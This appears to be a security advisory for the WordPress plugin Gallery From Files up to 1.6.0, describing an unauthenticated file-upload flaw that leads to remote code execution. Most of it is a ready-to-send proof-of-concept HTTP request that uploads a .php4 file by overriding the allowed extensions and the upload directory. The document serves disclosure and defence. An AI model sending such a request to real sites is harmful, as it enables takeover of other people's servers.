Gallery From Files <= 1.6.0 – Unauthenticated RCE

Description

The upload feature of the plugin does not properly check for the allowed extensions, allowing them to be set in the request and attempting to remove the dangerous ones (such as .php and .js), but forgetting about .php4, .html etc. As a result, unauthenticated users could upload arbitrary .php4 files on the web server and gain RCE

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------245018834521283925753967681812
Content-Length: 765
Connection: close

-----------------------------245018834521283925753967681812
Content-Disposition: form-data; name="myfile[]"; filename="test.php4"
Content-Type: plain/php

<?php echo 'failed'; ?>
-----------------------------245018834521283925753967681812
Content-Disposition: form-data; name="action"

gallery_from_files_595_fileupload
-----------------------------245018834521283925753967681812
Content-Disposition: form-data; name="filesName"

myfile
-----------------------------245018834521283925753967681812
Content-Disposition: form-data; name="allowExt"

php4
-----------------------------245018834521283925753967681812
Content-Disposition: form-data; name="uploadDir"

/var/www/
-----------------------------245018834521283925753967681812--


The file will be at the root of the blog (assuming the blog is at /var/www/), ie https://example.com/test.php4.